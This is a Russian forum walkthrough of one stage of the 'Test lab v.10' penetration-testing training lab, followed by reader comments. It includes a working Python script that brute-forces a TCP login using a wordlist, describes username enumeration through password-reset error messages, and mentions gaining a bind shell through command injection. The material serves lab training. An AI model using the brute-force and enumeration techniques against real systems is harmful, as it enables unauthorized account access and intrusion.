Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (4)

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Глава 4
Предыдущая глава
Следующая глава
Оглавление

tl10.png

Приветствую вас колеги.
Сегодня настало время очередного токена.
Сегодня будем побеждать Web Control (192.168.0.6) и рассмотрим такой вектор как Command Injection.
Почитать про Command Injection можно , . Но также вспомним про атаку на слабые пароли методом брутфорса.
Для начала ,как всегда просканим порты:
1.PNG

Пробуем подключится с помощью нетката:

2.PNG

Видим обычную tcp socket аутентификацию... Первое что на ум приходит при встрече с аутентификацией - это перебор пароля на легкие словарные пароли.
Что мы в первую очередь и будем пробовать.
Для удобства я пробросил порт,как это делать я описывал в прошлой статье
3.PNG

Но стандартных брутфорсов для таких целей я также пока не встречал,по этому на помощь снова приходят базовые знание программирования на питон. Набросал простенький скрипт для перебора паролей - я прогнал его по учетным записям из уже известным нам (которые мы получили на ssh машине) ,но увы мой брутфорс не дал результатов. И спустя некоторое время ковыряясь в этой корпоративной сети ,на некоторых машинах я замечал что при попытке сброса пароля например на клауде(cloud "172.16.0.3") я заметил что существует учетная запись admin. И тут на ум приходит прогнать брутфорс еще по таким учеткам как admin,root,cloud,user,test.
Брутил я словарю из john the ripper:
4.PNG

Я не гуру в программирование на питон,и по этому мой скрипт выглядит совсем по простому,
я использовал там только цикл для перебора по словарю,библиотеку socket для работы с tcp соединением,и обычное if else условия).Выглядит мой скрипт примерно так:

5.PNG

Python:
import socket
from termcolor import colored

users=['admin','root','user']
with open('pass.txt','r') as fs:
    for p in fs.readlines():  
        for n in users:
            sock = socket.socket()
            sock.connect(('127.0.0.1', 1503))
            sock.recv(1024)
            sock.send(n+"\n")
            sock.recv(1024)
            sock.send(p.strip()+"\n")
            data=sock.recv(1024)
            sock.close()
            if 'Error!' in data:
                print colored('[-] ','red')+colored(n,'yellow')+' '+colored(p,'yellow')
            else:
                print colored("[+]Good ","green") +colored(n,'cyan')+' '+colored(p,'cyan')
                break      
        if 'Error' not in data:
            print colored("[ *** ] Brute Finished Succes!","magenta")
            break
К выше сказаному добавлю что использовал в скрипте расцветку (библиотека colored)
массив пользователей из трех на мой взгляд распространенных учетных записей.Затем циклически перебрал словарь,и если в ответе сервера не было фразы "Error!" то закончить цикл и вывести логин и пароль который подошел к tcp socket аутентификации.
В деле это выглядит как то так:
6.PNG


Получил логин и пароль,пробуем подключится. Подключившись замечаем работу какого то приложения которое работает в интерактивном режиме и которое запрашивает пользовательский ввод,а везде есть пользовательский ввод - запомните!!!- это уже повод думать что там может быть инъекция!!!!!
Вооружившись знаниями об command injection пробуем различные варианты выполнить инъекцию.

7.PNG

Здесь мы использовали Bind Shell , потому что ssh машина (172.16.0.8) и web_control машина (192.168.0.6) находятся в разных сегментах сети.
Подробнее о том что такое bind и reverse shell можете прочесть в моей статье для новичков.

Дальше дело за малым) Найти токен) Первым делом когда попадаю на машину я пользуюсь командой
find для поиска имен файлов которые в своем имени содержат слово "token"
Выглядит моя команда так:
Код:
find / -type f -name "*token*"
8.PNG


Всем спасибо) Продолжение следует)
Если понравилась статья - ставь лайк) Мне будет приятно)
Вот демо-видео :
Предыдущая глава
Следующая глава
Оглавление
 

Вложения

  • eu-15-Stasinopoulos-Commix-Detecting-And-Exploiting-Command-Injection-Flaws-wp.pdf
    322,1 КБ · Просмотры: 427

faust

One Level
11.12.2016
5
1
BIT
0
Нашел скрипт который работает на порту 1503 машины 192.168.0.6(/opt/web_control/multiThread.py). А с помощью nc можно копировать или скачивать файлы?
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
nc это сервер. А когда ты попал на сервер ты можешь совершать любые действия.
 
F

Foxy2016

Оч приятно прочитать,,,,,запущю линуксовую тачку и в перед))
 
  • Нравится
Реакции: <~DarkNode~>

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
Не совсем понял, как получилось эти учетки распознать? --> например на клауде(cloud "172.16.0.3" )
Подбор руками самых частых логинов следуя логике или откуда то было взято? =) По ответу сервера видно, есть такая учетка или нет. В целом логично пробовать самые суперлогины, но все же? =)
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Не совсем понял, как получилось эти учетки распознать? --> например на клауде(cloud "172.16.0.3" )
Подбор руками самых частых логинов следуя логике или откуда то было взято? =) По ответу сервера видно, есть такая учетка или нет. В целом логично пробовать самые суперлогины, но все же? =)
на клауде есть кнопка сброса пароля,и если юзера такого нету то будет один текс ошибки при сбросе пароля,если есть такой пользователь - текст будет другой,на основе этого поведения я писал простенький скрипт который перебирал по списку пользователей,выстрелила только одна учетка admin
 
  • Нравится
Реакции: ghostphisher

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
написал простенький скрипт который перебирал по списку пользователей,выстрелила только одна учетка admin

Тоесть по факту, скрипт заменить было нечем, так как был сформирован не стандартный ответ/отказ сервиса?

Добавлено:

Не могу подобрать пароль, в первом случае он указал логин user и пароль для него ( не подошло ), когда оставил одного админа - прошелся по всему списку и ничего не обнаружил
 
Последнее редактирование:
  • Нравится
Реакции: Dmitry88

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Тоесть по факту, скрипт заменить было нечем, так как был сформирован не стандартный ответ/отказ сервиса?
Если говорить про клауд - то там парсилась фраза которая была в контенте страницы в результате реакции на несуществуещего пользователя,и перебиралось в цикле список пользователей - если такая фраза не встречалась в ответе веб сервера - то скрипт выводил что юзер валидный) Но таким образом я смог обнаружить только учетную запись admin.

Что касается перебора по пользователю admin - должно работать.
Снимок1.PNG
Снимок2.PNG

Ну я для демонстрации перенес пароль в словаре на первые позиции
 
  • Нравится
Реакции: Sinistra и ghostphisher

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
Ну вот макинтош я поиском по словарю нашел, посмотрел на первые скрины в данном топе, увидел что на конце пароля sh стоит и начал искать ) У меня прогнало по всему списку и не нашло. Просто закончил работу свою.

Или вот так


[-] admin lokita

[+]Good root lokita

[ *** ] Brute Finished Succes!
 
D

DobR0

После внедрнения bind shell'а, не коннектится машинка к указаному порту. Просто зависает при коннекте, мб были у кого схожие симптомы?
 
M

mafiasepa

скрипт ошибку выдаёт, может чего неправильно написал
 

Вложения

  • Screenshot at 2016-12-29 17-35-19.png
    Screenshot at 2016-12-29 17-35-19.png
    87,7 КБ · Просмотры: 588
M

mafiasepa

ошибка:

root@LG:~/pentest/lab10/web-control# ./brute.py
from: too many arguments
./brute.py: строка 5: синтаксическая ошибка рядом с неожиданным маркером «(»
./brute.py: строка 5: `with open('pass.txt','r') as fs:'
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Ну вот макинтош я поиском по словарю нашел, посмотрел на первые скрины в данном топе, увидел что на конце пароля sh стоит и начал искать ) У меня прогнало по всему списку и не нашло. Просто закончил работу свою.

Или вот так


[-] admin lokita

[+]Good root lokita

[ *** ] Brute Finished Succes!
Попробуй так:



Снимок.PNG


 
Последнее редактирование:
  • Нравится
Реакции: ghostphisher
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!